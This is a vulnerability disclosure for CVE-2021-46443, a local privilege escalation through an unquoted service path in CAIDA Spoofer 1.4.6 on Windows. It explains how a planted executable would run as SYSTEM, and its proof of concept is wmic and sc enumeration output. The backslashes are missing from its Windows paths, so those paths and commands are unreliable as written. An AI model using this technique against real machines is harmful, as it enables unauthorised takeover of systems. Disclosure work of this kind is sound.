Spoofer 1.4.6 Privilege Escalation / Unquoted Service Path

# Exploit Title: Spoofer 1.4.6 – Local Privilege Escalation via Unquoted Service Path 
# Date: 24/01/2022 
# Exploit Author: Asim Sattar (@M_Asim_1) 
# Vendor Homepage: https://www.caida.org/projects/spoofer/ 
# Software Link: https://www.caida.org/projects/spoofer/downloads/Spoofer-1.4.6-win32.exe
# Version: 1.4.6 
# Tested: Windows 10 (x64) 
# CVE: CVE-2021-46443



Description:

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Caida Spoofer 1.4.6 installs a service (spoofer-scheduler) with an unquoted
service path. Since this service is running as SYSTEM, this creates a local
privilege escalation vulnerability. To properly exploit this vulnerability,
a local attacker can insert an executable in the path of the service.
Rebooting the system or restarting the service will run the malicious
executable with elevated privileges.



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Proof of Concept:

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C:Usersasim.sattar>wmic service get name,pathname,displayname,startmode |
findstr /i auto | findstr /i /v "C:Windows" | findstr /i /v """

Spoofer Scheduler   spoofer-scheduler   C:Program Files
(x86)Spooferspoofer-scheduler.exe  Auto



C:Usersasim.sattar>sc qc "spoofer-scheduler"

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: spoofer-scheduler

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 1   NORMAL

        BINARY_PATH_NAME   : C:Program Files
(x86)Spooferspoofer-scheduler.exe

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : Spoofer Scheduler

        DEPENDENCIES       : tcpip

        SERVICE_START_NAME : LocalSystem



Regards,

Asim Sattar